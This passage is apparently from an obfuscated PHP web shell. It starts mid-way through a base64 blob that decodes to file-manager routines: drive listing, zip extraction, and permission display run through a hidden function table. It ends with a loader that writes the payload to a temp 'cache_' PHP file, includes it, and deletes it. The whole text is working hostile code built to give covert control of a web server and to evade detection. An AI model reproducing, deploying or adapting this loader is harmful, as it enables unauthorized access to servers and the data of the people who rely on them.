dWJywgJ1cnLCAnWCcsICdZJywgJ1onCiAgICBdOwogICAgZm9yZWFjaCAoJHdpbkFyciBhcyAkd2luTnVtID0+ICR3aW5WYWwpIHsKICAgICAgICBpZiAoaXNfZGlyKCR3aW5WYWwgLiAiOi8iKSkgewogICAgICAgICAgICBlY2hvICI8YSBzdHlsZT0nY29sb3I6b3JhbmdlOyBmb250LXdlaWdodDpib2xkOycgaHJlZj0nP2Q9IiAuIGh4KCR3aW5WYWwgLiAiOi8iKSAuICInPlsgIiAuICR3aW5WYWwgLiAiIF0gPC9hPiZuYnNwOyI7CiAgICAgICAgfQogICAgfQp9CgpmdW5jdGlvbiBuYW1hUGFuamFuZygkdmFsdWUpCnsKICAgICRuYW1hTnlhID0gJHZhbHVlOwogICAgJGV4dGVuc2kgPSBwYXRoaW5mbygkdmFsdWUsIFBBVEhJTkZPX0VYVEVOU0lPTik7CiAgICBpZiAoc3RybGVuKCRuYW1hTnlhKSA+IDMwKSB7CiAgICAgICAgcmV0dXJuIHN1YnN0cigkbmFtYU55YSwgMCwgMzApIC4gIi4uLiI7CiAgICB9IGVsc2UgewogICAgICAgIHJldHVybiAkdmFsdWU7CiAgICB9Cn0KCmZ1bmN0aW9uIGV4dHJhY3RBcmNoaXZlKCRhcmNoaXZlRmlsZW5hbWUsICRleHRyYWN0UGF0aCkKewogICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CgogICAgaWYgKCR6aXAtPm9wZW4oJGFyY2hpdmVGaWxlbmFtZSkgPT09IFRSVUUpIHsKICAgICAgICAkemlwLT5leHRyYWN0VG8oJGV4dHJhY3RQYXRoKTsKICAgICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfSBlbHNlIHsKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9Cn0KCmZ1bmN0aW9uIHBlcm1zKCRmaWxlKQp7CiAgICAkcGVybXMgPSAkR0xPQkFMU1snZnVuZ3NpJ11bNl0oJGZpbGUpOwogICAgaWYgKCgkcGVybXMgJiAweEMwMDApID09IDB4QzAwMCkgewogICAgICAgIC8vIFNvY2tldAogICAgICAgICRpbmZvID0gJ3MnOwogICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgewogICAgICAgIC8vIFN5bWJvbGljIExpbmsKICAgICAgICAkaW5mbyA9ICdsJzsKICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsKICAgICAgICAvLyBSZWd1bGFyCiAgICAgICAgJGluZm8gPSAnLSc7CiAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7CiAgICAgICAgLy8gQmxvY2sgc3BlY2lhbAogICAgICAgICRpbmZvID0gJ2InOwogICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgewogICAgICAgIC8vIERpcmVjdG9yeQogICAgICAgICRpbmZvID0gJ2QnOwogICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgewogICAgICAgIC8vIENoYXJhY3RlciBzcGVjaWFsCiAgICAgICAgJGluZm8gPSAnYyc7CiAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MTAwMCkgPT0gMHgxMDAwKSB7CiAgICAgICAgLy8gRklGTyBwaXBlCiAgICAgICAgJGluZm8gPSAncCc7CiAgICB9IGVsc2UgewogICAgICAgIC8vIFVua25vd24KICAgICAgICAkaW5mbyA9ICd1JzsKICAgIH0KICAgIC8vIE93bmVyCiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/CiAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnKSA6ICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwogICAgLy8gR3JvdXAKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcpIDogKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7CgogICAgLy8gV29ybGQKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7CiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8KICAgICAgICAoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcpIDogKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CiAgICByZXR1cm4gJGluZm87Cn0KPz4K"); $tmp = tempnam(sys_get_temp_dir(), 'cache_') . ".php"; file_put_contents($tmp, $vavi); chmod($tmp, 0600); include $tmp; unlink($tmp); ?>
Close